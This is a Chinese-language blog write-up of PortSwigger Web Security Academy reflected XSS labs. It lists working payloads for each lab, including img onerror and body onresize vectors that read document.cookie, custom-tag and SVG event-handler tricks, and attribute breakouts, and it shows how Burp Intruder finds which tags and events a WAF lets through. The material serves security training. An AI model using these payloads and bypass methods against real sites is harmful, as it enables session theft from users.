(二)XSS实例

Reflected XSS

Reflected XSS into HTML context with nothing encoded

构造攻击脚本:<script>alert(1)</script>
将该脚本输入到搜索框中
在这里插入图片描述

Reflected XSS into HTML context with most tags and attributes blocked

在搜索功能中包含反射型跨站点脚本漏洞,但是使用了Web应用程序防火墙(WAF)来防御常见的XSS向量。

构造payload:<img src=1 onerror=alert(document.cookie)>
输入到搜索框,返回"Tag is not allowed",此payload被阻塞了。
接下来我们将测试哪些标签和属性被阻塞了。
将包发送到intruder模块,然后将尖括号里的内容删除:img+src%3D1+onerror%3Dalert%28document.cookie%29,在尖括号中间点击两次Add§,以创建有效负载位置则search=%3C§§%3E,则开始测试。
在这里插入图片描述
查看结果,发现除body,custom tags有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。

返回positions页面,修改search=%3Cbody%20=§§1%3E,开始测试。
查看结果,发现除onresize有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。
在这里插入图片描述

到此可以构造攻击payload:<iframe src="https://ac981f721e8b39ea804614cf008b00ba.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=alert(document.cookie)%3E" onload=this.style.width='100px'>
在这里插入图片描述
攻击完成。

Reflected XSS into HTML context with all tags blocked except custom ones

阻止所有HTML标记(自定义标记除外
构造payload:

<script>
location = 'https://acd61f451e2b7a7b808700420060005b.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

该注入将创建一个ID为的自定义标签x,其中包含一个onfocus触发该alert函数的事件处理程序。加载页面后,URL末尾的哈希将重点放在此元素上,从而导致alert有效负载被调用。

在这里插入图片描述

Reflected XSS with event handlers and href attributes blocked

包含一个反映了XSS漏洞的白名单标签,但是所有事件和锚点href属性均被阻止
因此我们会注入一个矢量,单击该矢量,即可调用该alert函数。例如:<a href="">Click me</a>

在这里插入图片描述

Reflected XSS with some SVG markup allowed

阻止了常见标签,但错过了一些SVG标签和事件
注:SVG 即 Scalable Vector Graphics,是一种用来绘制矢量图的 HTML5 标签
输入标准的xss脚本:<img src=1 onerror=alert(1)>,提示"Tag is not allowed"

在intruder中构造search=<§§>,利用标签集
在这里插入图片描述
观察到所有的有效载荷造成的HTTP响应400,除了使用的那些<svg>,<animatetransform>,<title>,和<image>标签接收到200响应。
返回position,将search修改为search=<svg><animatetransform%20§§=1>,利用事件集。

在这里插入图片描述

除onbegin有效负载导致200响应之外,所有有效负载均导致HTTP 400响应。
因此构造攻击payload:
search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
攻击完成。

Reflected XSS into attribute with angle brackets HTML-encoded

存在XSS漏洞,但经过了HTML编码

以转义引用的属性并注入事件处理程序:"onmouseover="alert(1),将鼠标移到注入的元素上时,它将触发警报。
在这里插入图片描述

Reflected XSS in canonical link tag

将用户输入反映在规范的链接标签中,并转义了尖括号。/post?postId=1

要解决此问题,攻击将注入调用该alert函数的属性。
构造payload:https://your/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X密钥设置为整个页面的访问密钥。当用户按下访问键时,将alert调用该功能。

Reflected XSS into a JavaScript string with single quote and backslash escaped

攻击发生在带有单引号和反斜杠转义的JavaScript字符串内。
要求会突破JavaScript字符串并调用该alert函数。
因此我们可以构造payload:search=</script><script>alert(1)</script>
采用重写绕过js编码检测。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值